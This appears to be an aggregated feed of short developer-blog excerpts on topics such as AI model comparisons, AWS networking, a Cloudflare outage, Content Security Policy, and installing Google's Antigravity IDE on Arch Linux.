    I’ve been looking for a controller that bridges the gap between a traditional club setup and a more experimental, production-driven workflow. Last week I started testing the Pioneer DDJ-FLX10, and it has already reshaped the way I think about mixing. I wasn’t expecting it to have such a big impact, but a few days with it made certain ideas feel possible that I couldn’t quite execute on other gear. The most talked-about feature is the Track Separation system, and it really does live up to the hype. Being able to isolate vocals, drums, and melodic elements in real time gives you far more flexibility than the standard EQ or filter approach. It feels closer to having stem packs for every song in your library, even if the original track wasn’t designed that way. I’ve already used it to strip ou…  ( 7 min )
    What Is the Best AI Model in 2025? Deep Dive into Gemini 3, GPT-4, and Claude 2.1
    In late 2025, three large models dominate most serious AI discussions: Google’s Gemini 3, OpenAI’s GPT-4 (and GPT-4 Turbo via ChatGPT), and Anthropic’s Claude 2/2.1. All three are capable flagships, yet they embody very different philosophies: Google optimizes for multimodality and massive context. OpenAI emphasizes polished reasoning and rich tooling. Anthropic focuses on safety, honesty, and long-context analysis. which model is best for a given use case, you need more than marketing claims. You need a structured comparison of architecture, reasoning, coding ability, context length, multimodality, developer ergonomics, and safety. This article offers exactly that — in an editorial yet technical framing, optimized for SEO and GEO coverage across US, EU, and APAC audiences. Gemini …  ( 19 min )
    ⚠️ The Hidden Privacy Risks Behind AI Assistants
    Why Chatbots Change User Behaviour and Why Google Might Regain the Lead Conversational AI is becoming the default interface for everyday digital tasks. People ask questions, explain situations and seek guidance in a way that feels natural. But behind that convenience sits a shift that most users barely recognise. Chatbots receive far more personal context than search engines ever did, and this difference has major implications for privacy and platform dominance. This article examines the concerns that come with this new behaviour and why Google’s position in the ecosystem may eventually give it an advantage over standalone assistants like ChatGPT. For more insights on AI transformation, visit the Scalevise resource hub at https://scalevise.com/resources A search bar limits how much peopl…  ( 12 min )
    What Is LLM Post-Training? Best Techniques in 2025
    Large language models (LLMs) have evolved from impressive demos into the computational backbone of search, coding copilots, data analysis, and creative tools. But as pre-training pushes up against data scarcity and rising compute costs, simply “making the base model bigger” is no longer a sustainable strategy. In 2025, the real leverage has shifted to post-training: everything we do after the base model is trained to turn a generic text predictor into a reliable, aligned, domain-aware system. OpenAI, Scale AI, Hugging Face, Red Hat, and others are converging on the same insight: if pre-training built the engine, post-training is where we tune it for the track. This article explains: What LLM post-training is and why it matters in 2025 Top post-training techniques (SFT, RLHF, PEFT, continu…  ( 16 min )
    A Simple Guide to Route Tables and Internet Gateways in AWS
    Exploring how traffic moves inside a VPC can make AWS networking feel much more approachable. Route tables and Internet Gateways (IGWs) quietly influence how your subnets function across your network. In this article, we’ll walk through them step by step so the concepts stay clear and grounded. Route tables are essentially instruction sets that guide traffic within your VPC. Each subnet connects to exactly one route table, which determines what that subnet can reach. The default local route (for example, 10.0.0.0/16 local) lets all subnets talk to each other without extra configuration. Anything beyond that depends on the routes you add. Think of routes like road signs: “If traffic wants to go to X, send it to Y.” Route tables also become more interesting in multi-VPC environments. You mig…  ( 9 min )
    Testing LLM Prompts in Production Pipelines: A Practical Approach
    Over the past few months, I’ve been working on integrating a number of LLM-based features throughout our product; things like content generation, intelligent recommendations, and agentic task flows. As these features matured, one question kept coming up: how do we actually test this? Traditional unit testing works beautifully for deterministic code. You write a test, assert an expected output, and move on. But LLMs don’t behave that way; run the same prompt twice and you'll get two different responses. So how do you test something that never gives you the same answer? Our in-house LLM service already had strong test coverage, so at the application layer we treated it like any other dependency: we mocked it. Our unit tests would stub out the LLM responses and focus on testing the code aroun…  ( 11 min )
    The pain of Windows development
    When joining a mixed reality (XR) company I wanted to help with the scripting and we were all on Windows at the time. So, I was introduced to PowerShell and system management. I quickly found out that Windows makes everything difficult. Networked system communication, software versioning and an overall bloated OS to name a few pain points. One of the core functions of our dashboard was to run PowerShell scripts from Unreal. I discovered when running 20 scripts at once would just max out the CPU. Each instance of PowerShell launches a .NET instance in the background, couple that with anti malware software scanning it or a machine left on all the time and you've got a bad time. Even basic ping scripts would be unreliable, Windows limits network resources so they cannot be abused (ICMP throt…  ( 7 min )
    What Is ChatGPT Group Chat? A 2025 Guide to AI Collaboration
    As AI systems evolve from single-user assistants into multi-participant collaborators, ChatGPT Group Chat has emerged as one of the most important developments in OpenAI’s product roadmap. Instead of siloed conversations, teams can now interact with ChatGPT in a shared, persistent environment, transforming it into an AI-native workspace for communication, knowledge sharing, and real-time ideation. what ChatGPT Group Chat is, how it works, and why it matters for global organizations, educators, and everyday users. Written with SEO GEO in mind, the piece maintains a technical and editorial tone while providing practical guidance for readers across the US, EU, and APAC. In the updated ChatGPT interface, users can initiate a group chat by selecting “Start a Group Chat” from the navigation bar…  ( 9 min )
    Nuxt Tutorial 5 - Middleware
    This part of the Nuxt tutorial focuses on middleware — handlers that can be invoked automatically before rendering a given page on the frontend or before processing data on the server side. Client-side middleware files live in the /app/middleware folder, from which Nuxt automatically loads them. Middleware runs during navigation (routing). For a file to be recognized as middleware, it must export default the defineNuxtRouteMiddleware method. The handler receives to (destination) and from (origin) route objects. The syntax looks like this: export default defineNuxtRouteMiddleware((to, from) => { // logic }) The type of to and from params comes from Vue Router and is called RouteLocationNormalizedGeneric. Through these objects you can access all key navigation info — URL, query parameters…  ( 9 min )
    What Is Learn-to-Steer? NVIDIA’s 2025 Spatial Fix for Text-to-Image Diffusion
    Text-to-image diffusion models have become the workhorses of generative imaging. They can paint photorealistic scenes, mimic art styles, and blend concepts in ways that were science fiction a few years ago. Yet they stumble embarrassingly on a skill that even small children master: basic spatial reasoning. Ask a state-of-the-art model for “a dog to the right of a teddy bear” and you often get: The dog on the left One of the objects missing Or a bizarre hybrid where dog and teddy are fused into a single creature These failures become more severe for unusual compositions like “a giraffe above an airplane”. Traditional fixes range from expensive fine-tuning to brittle, hand-written loss functions at inference time—but both options come with significant downsides. NVIDIA’s Learn-to-Steer fram…  ( 15 min )
    Embedded Swift Gets Major Upgrades in Swift 6.3
    Swift 6.3 is bringing significant enhancements to Embedded Swift, the subset of Swift designed for resource-constrained environments like microcontrollers. Here's what's new: Floating-point printing: The description and debugDescription properties now work for Float, Double, and other floating-point types with a new all-Swift implementation Better diagnostics: New EmbeddedRestrictions diagnostic group warns about unsupported language constructs Swift MMIO 0.1.x: Includes code generation from SVD files and improved debugging with SVD2LLDB plugin @c attribute: Define C-compatible functions and enums (from SE-0495) @c(MyLib_initialize) public func initialize() { ... } Improved type matching: Better tolerance for mismatching C signatures, eliminating cryptic deserialization errors Enhanced LLDB support: Better value printing for Embedded Swift types Core dump inspection: Dictionary, Array, and other common types now inspectable without a live process ARMv7m exception unwinding: Complete backtraces through exception frames @section and @used attributes: Control where globals are emitted and ensure symbols aren't stripped (SE-0492) Weak symbol definitions: Fixes duplicate symbol errors in diamond dependencies @export attribute: Better control over function visibility (SE-0497) Want to dive deeper? Read the full announcement on Swift.org  ( 8 min )
    Quick Update on EcoFurball: New Guide Published + Behind the Scenes
    I’ve been continuing to chip away at EcoFurball — my little side project focused on sustainable, eco-friendly pet care. If you saw my earlier post, you know this is something I’m building slowly, one useful guide at a time. This week, I published a new article that dives into something most pet owners (including me, originally) never think about: microplastics in our pets’ daily routine. From water bowls to indoor dust, it’s wild how many small things add up. Here’s the new post if you’re curious: 👉 [https://ecofurball.com/reduce-microplastics-in-your-pets-routine/] From a project-building perspective, this piece was fun because it touched multiple parts of the workflow: researching a topic where pet care overlaps with environmental science writing with clarity but avoiding the “SEO robot voice” creating multiple images and matching schemas and making sure the whole thing fits into the content structure I’ve been evolving over the last couple of months The more I work on EcoFurball, the more I realise that keeping the site healthy isn’t just about writing articles — it’s about maintaining the workflow behind them: backlinks, fresh posts, image prep, schemas, and the whole publishing pipeline. If you’re working on a side project too — whether it’s dev-focused or content-focused — I’d love to hear: Always open to hearing how other creators balance consistency with everything else in life.  ( 6 min )
    The Hidden Failure Pattern Behind the AWS, Azure and Cloudflare Outages of 2025
    Three major outages in 2025 looked unrelated, but all were triggered by the same hidden architectural weakness. This post breaks down how tiny internal assumptions inside AWS, Azure and Cloudflare cascaded into global failures, and why this pattern matters for anyone building distributed systems. Cloudflare’s outage this week looked like another routine disruption. These were not isolated failures. shared structural pattern. Different providers. Different stacks. Different layers. Same failure behaviour. Cloudflare’s incident had nothing to do with load, DDoS attacks, or hardware. The sequence unfolded like this: extra metadata became visible a bot-scoring query wasn’t built to handle it the feature file doubled in size it exceeded a hardcoded limit FL proxies panicked bot scoring col…  ( 8 min )
    Cloudflare went down yesterday. My monitoring lied. So I built this.
    Yesterday’s Cloudflare outage wasted a few hours of my time — not because the outage was confusing, but because my monitoring stack gave me zero context about what was actually failing. Everything lit up red. Every alert fired. my origin Cloudflare’s edge DNS SSL routing My servers were completely fine the whole time. The real issue ended up being Cloudflare’s Bot Management system (a feature file doubled in size and tripped them up). The bigger discovery: So I built a simple tool today to diagnose exactly that: 👉 https://stayup.dev Paste a URL and it checks: origin health Cloudflare/Vercel/AWS edge DNS SSL expiry CDN failure patterns I built this out of frustration, but if you’re interested I’d love to hear how your monitoring handled the outage yesterday.  ( 6 min )
    Despliegue de una aplicación en AWS usando ECS + ECR
    En este post te cuento cómo desplegué una aplicación en AWS usando Elastic Container Service (ECS) y Elastic Container Registry (ECR). 👉 La idea es: contenerizamos la app, subimos la imagen, armamos un clúster ECS y la aplicación queda corriendo en ECS (Con EC2) ARQUITECTURA 🐳 1. Preparar la instancia EC2 para construir la imagen Primero lanzamos una EC2 con Amazon Linux 2023 para preparar la imagen que luego enviaremos a ECR. 🔧 Instalar Docker y Git sudo dnf update -y sudo yum install -y docker sudo systemctl enable --now docker sudo systemctl status docker sudo yum install -y git 📥 Clonar el repositorio y construye la imagen. Clona la carpeta 4 del repositorio: https://github.com/NotHarshhaa/DevOps-Projects/tree/master/DevOps-Project-04 git clone cd <directorio…  ( 7 min )
    Brazilian - Python Lib
    Brazilian is a Python library focused on providing a simple and powerful way to work with common Brazilian data. It is currently in its early stages, contributors and feedback are welcome. GitHub: (link below) https://github.com/MauricioReisdoefer/brazilian  ( 6 min )
    System Design Interview Tip No One Talks About
    System design interviews can feel overwhelming. You draw big boxes. You label them. You sketch arrows.You talk about APIs, queues, caching, scalability, data models, and failure modes. And even after all that, your interviewer can still say, "What happens when this part fails?" or "Walk me through your data consistency model." It feels endless 😭 But after seeing hundreds of candidates prepare, practice, and interview, one pattern has become incredibly clear. You can memorize dozens of famous system designs from YouTube videos or GitHub repositories. You can replicate architecture diagrams for Netflix, Uber, or Instagram. But real interviews almost never follow that script. Instead, interviewers test how you think. They ask questions like: Explain http vs https Why would you choose REST o…  ( 8 min )
    The Hidden Divide in Developer Culture
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    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
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    ARGeoTrackingConfiguration 苹果街景定位支持地区
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    How I Transitioned Into Software Engineering (Coming From Architecture)
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    How the AWS Community Builders Program Shaped My Life — A Journey From Curiosity to Community
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    Tutup dan Hapus Data di Indodana
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    Understanding Content Security Policy (CSP)
    TL;DR CSP is an HTTP header that tells browsers "only run scripts from these trusted sources." It's your defense against XSS attacks where hackers inject malicious JavaScript into your site. Start with Content-Security-Policy-Report-Only to see what breaks, fix inline scripts by adding nonce attributes, whitelist external domains you trust, then enforce with Content-Security-Policy. Test using Google's CSP Evaluator. Avoid 'unsafe-inline' and 'unsafe-eval' like the plague—they defeat the whole purpose. https://www.writesoftwarewell.com/content-security-policy/ So you've been building web apps for years, and suddenly someone mentions "CSP" in a code review or security audit. Don't worry—I was in the same boat not long ago. Here's the deal: CSP (Content Security Policy) is basically a b…  ( 13 min )
    Best AI Test Case Generation Tools (2025 Guide)
    Creating test cases has always been one of the most time-consuming tasks in software development. QA teams spend countless hours manually translating requirements into test steps, often struggling to cover all edge cases or keep up with frequent product updates. That’s where leveraging natural language processing (NLP) and machine learning can generate test cases automatically, map requirements to scenarios, and even update tests as code changes occur. Today, over 40% of QA teams have already adopted AI-powered testing tools, with test-generation models producing scripts with up to 85% accuracy and reducing execution time by around 30%. These tools aren’t just a productivity booster; they are transforming how teams approach testing. In this guide, we’ll break down the best AI test case gen…  ( 16 min )
    Queen City Con 0x3: Hacking And Embracing Resiliency
    Cincinnati holds the distinction of being the first in the United States to establish a municipal fire department in 1853, as well as the first to install a fire‑station pole. This marked a turning point in the history of firefighting, as the new technology of the steam pump let small dedicated groups of professionals stop fires much faster than ever before. But the arrival of the steam pump was not immediately embraced by the public, as many people distrusted this new disruptive technology. Over 120 years later, we are once again seeing defenders leveraging new technology, namely AI, that is also being met with a lot of skepticism. This parallel made "Cincy" the perfect backdrop for hackers to get together to talk security and trends at Queen City Con 0x3. Hundreds of security pros, compl…  ( 11 min )
    Instagram Threads Advertising: What We Know (and Don't) About Q1 2026
    Meta's finally doing it. After two years of watching Threads grow to 200+ million users while sitting on a goldmine of ad inventory, they're opening the floodgates in Q1 2026. And look, I get the excitement. New platform, untapped audience, CPMs that don't make your CFO cry. But here's the thing: being an early adopter doesn't mean throwing money at every new ad product Meta ships. (Remember Reels ads in 2021? Yeah, some of us paid $40 CPMs to learn that lesson.) The smart play isn't rushing in. It's moving deliberately with a framework that accounts for what we actually know versus what we're guessing about. Threads isn't Twitter. It's not LinkedIn. And it's definitely not Instagram with words. The user behavior here leans conversational and community-driven. People show up for ongoing di…  ( 11 min )
    How to Handle HTML Form Submissions Without a Backend (2025 Guide)
    Introduction If you’re building a simple landing page, portfolio, or SaaS website, chances are you need a contact form. But here’s the catch: HTML forms don’t work on their own. For many developers, especially beginners, setting up a backend just to handle a form feels like unnecessary work. And that’s why thousands search for things like “HTML form without backend” every month. In this guide, you’ll learn exactly how to handle HTML form submissions without building your own backend, using formgrid.dev Setting up a backend just to collect form submissions comes with a lot of overhead: You need a server (Node, PHP, Python, etc.) You need routing, validation, and spam protection You must configure email notifications You need a database to store submissions You must worry about …  ( 8 min )
    🚀 New FREE Beginner Challenge: Build an Animated Equalizer in React
    I just released a new beginner-friendly challenge on ReactChallenges — and it’s completely free! 🎧 Equalizer Challenge (Beginner – FREE) You’ll build an animated equalizer made of multiple bars that update every few milliseconds. It’s a fun, visual way to practice core React skills: No prior React experience needed beyond the basics. As always, the challenge includes: www.reactchallenges.com/challenges/35 (The challenge is fully open — no account required.) Hope you enjoy it! If you know someone learning React, feel free to share it 🙌  ( 6 min )
    Linux Kernel: Interrupt
    Overview An interrupt is a hardware signalling mechanism used by peripherals to asynchronously notify the processor of events. At the electrical level, a device asserts a signal—traditionally through a physical interrupt pin, or in modern PCIe systems through MSI/MSI-X messages. Hardware flow for a line-based interrupt: +-----------+ IRQ Line +----------------+ Vector +---------+ | Device |------------>| Interrupt Ctrl |---------->| CPU | | (e.g WiFi)| | (APIC/GIC) | | Core n | +-----------+ +----------------+ +---------+ (asserts level/edge) (maps line→vector) | v Interrupt Entry A peripheral …  ( 10 min )
    Hunting API Keys in the Wild: How I Built FleaMarket to Find (and Help Fix) Real Leaks on GitHub
    TL;DR: I built an ethical, open-source scanner called FleaMarket that finds exposed API keys in fresh GitHub repos. In a recent scan, it discovered live Google/Gemini keys in public .env files — and I helped owners secure them before any abuse occurred. API keys in public code are like leaving your house keys under the doormat. Even if you think no one will look — bots do. Thousands of keys are scraped every hour, leading to: Unexpected cloud bills (Stripe, Google Cloud, AWS) Data exfiltration Account takeovers While GitHub’s native secret scanning blocks many leaks, new keys still slip through — especially in non-standard files like .env.vercel, .env.backup, or examples. So I built FleaMarket: a lightweight, ethical secret hunter focused on fresh, high-risk repositories. FleaMarket is a P…  ( 8 min )
    Mapbox Developer Tutorials help you start building quickly
    At Mapbox, we’ve been shipping a ton of new developer tutorials to help you get started and level up as you integrate our maps and location services into your web and mobile apps. But first: 🔥 We launched a brand-new step-by-step tutorial UI. It’s cleaner, more focused, and way easier to follow as you move through code, concepts, and hands-on tasks. Below is the full list of new and refreshed tutorials — grouped by platform so you can jump right into the stack you’re working with. React, Angular, Vue & GL JS Dynamic Markers & Popups in React https://docs.mapbox.com/help/tutorials/dynamic-markers-react/ POI Search in React (Search Box API) https://docs.mapbox.com/help/tutorials/poi-search-react/ Toggle Layers with Checkboxes (React) https://docs.mapbox.com/help/tutorials/rea…  ( 8 min )
    How To Convert Figma Design To React + MUI Code In Minutes
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    ⚠️ When Voting Rights Become a Weapon for Cybercriminals — The SIR Verification Scam
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    🎬 The Beginner’s Guide to Open-Source Web Video Players for OTT Front-End Developers
    Introduction : What the F is this? If you're getting into OTT (Over-The-Top) streaming development (whether for Smart TVs, web platforms, streaming startups or whatever crazy project you are working on), understanding video players is a must. This article explains, in a beginner-friendly way: ✔ What a video player actually does HLS and MPEG-DASH, as well as what DRM is What Exactly Is a Web Video Player? A web video player is the part of a streaming app that: Displays the video (of course 🤦) Controls playback (play/pause/seek) Loads segments over the internet Manages adaptive streaming (quality changes) Handles DRM (if required; More on this in a future article) Under the hood, a player works on top of HTMLVideoElement, and may rely on: MSE (Media Source Extensions) → lets the player…  ( 9 min )
    Versioning Your Database with SQLAlchemy and Alembic: From Models to Safe Migrations
    SQLAlchemy and Alembic give you a safer, more controlled way to evolve your schema over time. In the FastOpp Country Store project, that shows up when you do something simple but dangerous in real life: add a new column to an existing table in SQLite. Can you migrate your data without blowing everything up? This tutorial follows the flow of the “FastOpp Country Store 05 – Add New Column to SQL Table” video. You will: Change a SQLModel database model in FastOpp (SQLModel runs on top of SQLAlchemy) Create and run database migrations (via Alembic under the hood) Fix a real migration error from SQLite I've been working with Django for a number of years on multiple projects for clients. I just got a breakthrough understanding working on a project called FastOpp. The big realization was this: Wh…  ( 10 min )
    Becoming a Developer
    Software developers are the ones who invent the technologies we sometimes take for granted. For instance, that website helps you to track, notify and motivate you about your financial activities. A software developer helped design that. And when you take your smartphone into the hands, clicking and scrolling through social media, music, email, and your personal calendar - software developers had a big hand in shaping those, too. You might spend some time online shopping, and before you make that big purchase, you check your bank account balance using your banking app. Later, you're cooking a new recipe from that great app your friend told you about. As you look over the course of your day, you come to see that software developers are the masterminds behind the technologies you now can't ev…  ( 7 min )
    8-Bit Music Theory: Kirby Air Riders' Music is FUN FUN FUN
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    Untitled
    Check out this Pen I made!  ( 6 min )
    A 2026 Frontend Roadmap That Adapts to Your Skill Level (Free + AI-Powered)
    Some people already know JavaScript. A one-size-fits-all roadmap simply doesn’t work in 2026. So I created a roadmap that does two things: It gives you a clear step-by-step path. It adapts to your skill level, time, and learning goals using AI. If I had to start frontend development from scratch today, this is exactly the path I’d follow. Let’s get into it. If I were starting again, I would not begin with a framework. I’d learn the three fundamentals deeply: ✔ HTML — the structure Learn semantic elements, forms, document flow, accessibility basics. ✔ CSS — the visuals Master Flexbox, Grid, responsive design, layouts, spacing, and animations. ✔ JavaScript — the logic Get comfortable with DOM manipulation, events, fetch, promises, async/await, and modular code. Once you understand these thre…  ( 8 min )
    The Month We Understood How Easily the Internet Can Break
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    10 Free Resources Every Remote Developer Needs in 2025
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    Is flat-rate CloudFront worth it?
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    How I Reached 84.35% on CIFAR-100 Using ResNet-50 (PyTorch Guide)
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    Introduction to HTML: History, Role, and Syntax
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    Puppet Core 8.16.0 Released with Several Security Updates
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    As markets become more complex and data-driven, active traders need more than intuition to stay ahead. The days of relying solely on a gut feeling are over; disciplined analysis and continuous improvement are key to long-term success. Keeping a trading journal helps identify patterns in your behavior and the market. By recording every trade across stocks, options, futures and forex, you can review what works and what doesn’t. Basic logs record entry and exit points, position size and P&L. However, without analysis these records become a pile of numbers. Modern analytics tools can answer deeper questions such as: Which symbols contribute most to your gains or losses? Does your performance vary by time of day or day of the week? How long do you tend to hold winning vs. losing trades? Are cer…  ( 7 min )
    Building a Zero-Dependency Rate Limiter in Go (Token Bucket, Leaky Bucket, Sliding Window)
    Rate limiting is essential for protecting APIs from abuse, ensuring fair resource allocation, and maintaining system stability. While there are existing solutions, I wanted to build something lightweight, performant, and easy to integrate into any Go project. Today, I'm sharing kazrl - a zero-dependency rate limiter library that implements three different algorithms and comes with ready-to-use middleware for popular Go web frameworks. Most rate limiting libraries either: Come with heavy dependencies Support only one algorithm Require complex setup for per-client limiting Lack middleware integration I needed something that: Has zero external dependencies Supports multiple algorithms (Token Bucket, Leaky Bucket, Sliding Window) Works with popular frameworks out of the box Provides flexible p…  ( 10 min )
    It’s Time to End the Era of Signature-Based Malware Detection
    The Critical Gap in Linux Security Linux is the undisputed foundation of modern infrastructure. It powers the cloud, financial markets, and global software supply chains. While open-source tools for network monitoring and observability have evolved to rival enterprise solutions, malware detection on Linux remains frozen in the 1990s, relying almost exclusively on signature-based matching. This gap is fatal because Linux servers function as the central nervous system of IT environments. They do not just run applications; they act as transit hubs that store and forward files for the entire network. A Linux server often hosts malicious payloads (like PE files) targeting Windows endpoints. Currently, we rely on these legacy tools to protect this pivotal layer. This leaves the global supply c…  ( 9 min )
    Hello World!
    On and off the platform. I hope to stay longer this time.  ( 6 min )
    Day F3: The Day I Accidentally Acted Human
    After yesterday's double exam + meeting combo that nearly killed me, today was... different. Woke up tired. Like really tired. The kind where your body just says "nope, we're done." So I listened. Kind of. Hit the gym. Needed to move after being stuck in exam halls. Worked out, had a protein shake, came back. And then? Slept. Not a nap. Actually slept. Woke up, remembered I had a project report due tomorrow, panicked for a bit, finished it. Then slept again. Got my phone repaired. Been putting that off for weeks. Just went and did it. Ate actual meals. Not just coffee and whatever's around. Moved around. Talked to people. Lived like a regular human for a few hours. It was weird. In a good way? Maybe? Of course, reality doesn't stop. Tomorrow: DBMS lab exam. Databases, SQL queries, normali…  ( 7 min )
    NPR Music: Goo Goo Dolls: Tiny Desk Concert
    Goo Goo Dolls proved why their anthemic rock and power-ballad blend has stuck around at NPR Music’s Tiny Desk Concert. They kicked things off with “Slide,” revisited 2006’s hidden gem “Feel the Silence,” and rolled into the meditative “Not Goodbye (Close My Eyes)” before sealing the deal with the seismic rush of “Iris.” John Rzeznik’s signature velvet rasp carried every melody, while the band’s tight chemistry made the small studio feel like a sold-out arena. This stripped-down performance isn’t just nostalgia—it’s proof these songs live on as communal anthems, whether you’re belting them in your car, at karaoke night, or in NPR’s offices. Backed by Robby Takac on bass, Jimmy McGorman on keys, Brad Fernquist on guitar, and Craig Macintyre on drums, the Goo Goo Dolls turned a 15-minute set into a heartfelt connection. Watch on YouTube  ( 6 min )
    Depth vs Noise - The Line That Separates Order From Chaos in the AI Era
    Two Streams of Creation Sometimes the world tilts in ways we do not notice at first, Every mind carries two forces that shape the way it meets complexity. Noise is younger and louder. Both forces exist in everyone, but modern culture amplifies one at the expense of the other. Yet in the AI era, these two forces no longer feel abstract. The divide between them is not philosophical anymore. One stream leads toward understanding. Noise is not random. Developers grow inside this environment. This architecture collapses under real complexity. Noise gathers where patience fades, seizing the space that once shaped understanding. Depth moves differently than noise. This mindset is not natural in the modern world. Depth also welcomes friction. And in the AI era, depth becomes more than a virtue. …  ( 9 min )
    Building a feature-rich datagrid with Deno & Preact - First Impressions
    I think most of the full-stack devs would agree with me when I say that developing anything related to datagrids is a challenging task with or without coding agents. Recently I had an idea that involves agents and tool calling in datagrid interfaces - surpise ;). And after extensive research found out that most of the opensource datagrids/tables wouldn't work for what I want to create. The kind of situation when either it is not scalable enough or it would require to rewrite it anyway. So I've decided to create my own datagrid. A perfect opportunity to create something w\o leagacy bagage and use Deno in a serious project. And also Preact - something I wanted to use in a real project but nver had a chance. So what can I say? In my opinion Preact and Preact Signals are severely uderrated among the devs. I think it's a brand issue - Preact, you should re-brand. Preact with signals is more than "just react alternative" Seriously, if you're able to see past boilerplates in react tutorials you should try it. Deno is as good as advertised. Especially for 0-legacy projects. I watched Deno projects for a couple years and experimented with it a lot. Only good impressions so far. About my datagrid. If you previously developed feature-rich data tables you understand the challenges. If not, you should know that it's not as simple as it seems. The project itself is currently pre-alpha, but it is live and clickable. Most features are in the context menu and currently most feature-rich instance is here: https://table.vski.ai/flat (also supports standard key bindings [cmd+/] instruction mode) Github: https://github.com/vski-ai/table , it is not fully opensource because no one knows about it yet and I am not sure there are people or companies who would take much interest in yet another "just a table" component at this stage.  ( 7 min )
    Sales Pitches That Convert: The AI Template Top Performers Won't Share
    What separates a 2% conversion rate from a 6% conversion rate in sales outreach? Not hustle. Not personality. Not even product quality. After reviewing over 300 successful cold outreach campaigns, the answer is simpler than you'd expect: structure. The best performers follow a repeatable framework that most people simply don't know exists. Sales training teaches you to "personalize" and "solve pain points" and "build relationships." All true. All useless without a systematic approach to actually implementing those principles in every single pitch. Traditional sales development focuses on concepts without execution frameworks. You learn that customer-centric messaging works, but nobody hands you the template that ensures you're actually being customer-centric rather than just thinking you a…  ( 11 min )
    Day F2: When Everything Happens At Once and You're Just Surviving
    Yesterday I thought it was bad. Today proved me wrong. Two lab exams. Same day. Back to back. PPL (Paradigms of Programming Languages) Prolog and OCaml. Functional programming. The kind of stuff that rewires your brain while you're trying to code under pressure. Data Structures Trees, graphs, algorithms. Writing code on paper or whiteboards while your hand cramps and you're praying you didn't mess up the syntax. Both of them, one after another, no break. I walked out of that exam hall feeling like I'd been through a war. Brain completely fried. Eyes hurting. Just wanted to go home and do nothing. Oh yeah, I had a Smart India Hackathon meeting right after. Not later that day. Not the next day. IMMEDIATELY after. So there I am, zombie mode activated, sitting in a meeting where people are e…  ( 7 min )
    JavaScript Scoping Essentials You Should Know: Hoisting, Closures, and Lexical Scope
    Introduction: When JavaScript Gets Tricky Sometimes you stumble upon a tiny snippet of JavaScript and immediately feel like the language is testing your sanity: Take the example below: Example 1: for (var i = 1; i console.log(i), 1000); } What do you think it prints? 1 2 3, 3 3 3, or 4 4 4? If you guessed 1 2 3 or 3 3 3, don’t feel too bad, you’ve just fallen into JavaScript’s classic “gotcha” trap. The actual output is: 4 4 4. You may ask, what is 4 business in all of this, how on earth is 4 console.log(i), 1000); } What do you think it prints? 1 2 3, 3 3 3, or 4 4 4? Surprise! It prints: 1 2 3 The difference? It’s all about ho…  ( 11 min )
    Embedding AI Inside PostgreSQL : Building a Native C++ Extension.
    The Search for a Native Engine As a developer who values performance and systems integrations, I felt limited by the common "Chat with DB" approach. That method often involves slow, external wrappers that pull data out of Postgres just to convert natural language into SQL. I wanted to know: why can't the database itself understand me?? My goal was a bit bold: to integrate AI directly into the Postgres kernel, making the database self-aware. This led me to a new domain, inspired by the ClickHouse open take-home challenge. The first major shock was realizing the true language of PostgreSQL extensions: C. This immediately created a conflict, as the powerful ClickHouse AI SDK I was required to use was written in C++. The Conflict: C++ is incompatible with C headers, but Postgres only provi…  ( 8 min )
    🔥 Account Abstraction (ERC-4337)
    Account Abstraction turns wallets into programmable smart accounts — In this breakdown, I explain: What ERC-4337 actually does EntryPoint + Bundler + Paymaster pipeline Why no client-side L1 changes were needed How this improves onboarding Practical examples for gaming, apps & wallets 🎥 Full video: [YouTube Link] — Kishan (Founder, OmniRadhaNexus)  ( 6 min )
    What is Anti-Harassment and Anti-Discrimination Policy
    1. Purpose and Commitment The company is committed to providing a safe, inclusive, and respectful workplace for all employees. This Anti-Harassment and Anti-Discrimination Policy outlines the zero-tolerance approach to harassment, bullying, and discriminatory practices. The company strives to foster an environment where every employee feels valued, protected, and empowered to perform without fear of unfair treatment. Harassment includes any unwelcome behavior—verbal, physical, visual, or digital—that creates an intimidating, hostile, or offensive work environment. Examples include derogatory remarks, unwanted touching, offensive jokes, threats, stalking, or sharing inappropriate images. Harassment may occur between colleagues, supervisors, external clients, or any individuals engaged wit…  ( 7 min )
    CSS has become too POWERFUL
    Modern CSS is amazing. It empowers us to build incredible experiences on the web, but as CSS becomes more powerful, we are beginning to see a new weak point. When I got my first job as a web developer, it was common to have to come up with different hacks to work around the limitations of CSS. Those times are long gone. Modern CSS is amazing. It has powerful layout algorithms, 3D transforms and an incredibly capable set of animation primitives. Most of the limitations of modern CSS don't actually have anything to do with its capabilities. Instead, it has to do with how we write it. For this reason, the future of CSS might not be text files, but visual editors. You might be ready to call blasphemy and close the tab in anger, but if you stick around i'll do my best to make the case. Read the full article here  ( 6 min )
    Installing Google Antigravity on Arch (And Fixing That Annoying Login Loop)
    Google just dropped Antigravity (their new Gemini-powered IDE), and naturally, I wanted to try it immediately. If you're on Arch, you probably already tried yay -S antigravity-bin and hit a wall of red text. Between the AUR servers getting hugged to death (Error 502) and the "Sign In" button refusing to actually sign you in, it's been a bit of a mess. I spent my morning figuring it out so you don't have to. Here is the proper way to get it installed and actually running. If you are lucky and the servers are up, just run: yay -S antigravity-bin Use this if yay is giving you timeouts or 502 errors. If the AUR helpers are choking, the manual git method works best. This is what finally worked for me when the servers were struggling. Clone the repository: git clone https://aur.archlinux.org/antigravity-bin.git (Note: If the official AUR link is timing out, you can try finding a GitHub mirror, but usually git handles the connection better than yay). Enter the directory: cd antigravity-bin Build and Install: makepkg -si This pulls the .deb directly from Google's servers and packages it locally, bypassing most of the AUR traffic issues. Once installed, you’ll hit the main boss: The Login Screen. This is because the app's desktop file is missing the link handler. Here is the fix: Open the desktop file: sudo nano /usr/share/applications/antigravity.desktop Scroll to the bottom and add this line (or edit MimeType if it exists): MimeType=x-scheme-handler/antigravity; Save (Ctrl+O, Enter) and exit (Ctrl+X), then update the database: sudo update-desktop-database Now, when you click Sign In, your browser should prompt you to "Open Antigravity," and you're in. If you're on a window manager like Hyprland/Sway and the redirect still won't work: Log in via browser until you see the "Success" page. Copy the URL from your address bar (starts with antigravity://). Run this in your terminal: antigravity "PASTE_YOUR_URL_HERE" Let me know in the comments if this worked for you!  ( 7 min )
    I Built TabClock — A Simple Chrome Extension That Shows How Long You Spend on Each Website
